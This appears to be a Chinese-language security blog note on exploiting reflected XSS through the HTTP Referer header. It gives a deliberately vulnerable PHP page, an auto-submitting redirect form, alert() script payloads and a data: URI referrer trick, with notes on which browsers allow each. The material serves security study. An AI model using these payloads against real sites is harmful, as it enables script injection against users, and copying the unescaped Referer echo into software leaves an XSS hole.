header头referer字段反射xss利用
##伪造referer
自从flash修复伪造referer之后,目前没有已知的伪造referer的方式。
##利用跳转
跳转存在的问题就是在chrome和firefox中,query会被URL编码,IE不会。
跳转的方式主要有
META标签内跳转
javascript跳转
header头跳转
测试方式脚本,存在漏洞的页面:
<?php echo '123'; echo $_SERVER['HTTP_REFERER']; ?>
在本地新建页面,代码如下,firefox中访问:
http://127.0.0.1/referer.html?<xsscode>
<script> window.location.href='http://192.168.179.128/referer.php' </script>
页面显示
123http://127.0.0.1/referer.html?%3Cxsscode%3E
IE8中测试,发现使用windows.location.href跳转,不会发送referer。(本文中提到的IE都是IE8测试),这个是IE的问题。可以通过其他的方式带上refer。这是另外一个问题了,这里不做过多讨论了,只提供一种可以利用的方式。
参考:http://www.gremwell.com/exploiting_xss_in_referer_header
<html> <body> <form id="xss" name="xss" method="GET" action="http://victim.example.com/vulnerable.php"> </form> <script> document.getElementById("xss").submit(); </script> </body> </html>
也可以使用iframe,因为iframe发出的请求是带referer的
#使用子域名和路径。
跳转的时候使用子域名或者路径承载payload,子域名没有测试,测试了下路径,IE8会对路径中的"<"进行url编码。
##使用datauri
参考:http://masatokinugawa.l0.cm/2013/10/referrer-xss.html
感谢神秘的M提供的技术翻译。如下:
IE的情况比较简单。因为IE不会对query中的<>进行Encode,所以下面的这种情况在IE是可利用的:
http://l0.cm/xss_referrer.html?<script>alert("1")</script>
但是Firefox.Chrome.Safari和IE却不同。他们会对query中的<>进行Encode,进而导致不能利用。所以我在这里和大家分享一个小的技巧(我自认为,这种手法是别人应该都还没有公开过的)
data:text/html,<meta name="referrer" content="always"><script>if(location.protocol!='data:'){alert(1)}else{location.href="http://vulnerabledoma.in/location/"}</script>
当我们在data:URL中加上<meta name="referrer" content="always">这个标签时,我们就可以让正常情况下无法发送referrer的data:URL变得可以发送referrer信息了。通过这种方式呢,我们就可以在Chrome和safari下包含一个可以正常执行的“<>"了.
当然,等firefox开始支持<meta name="referrer">了,也许同样的方法也可以应用在firefox上面。
测试了下,最新版chrome这种方式已经不可以了。根据M的测试结果,目前,safari还是可以的。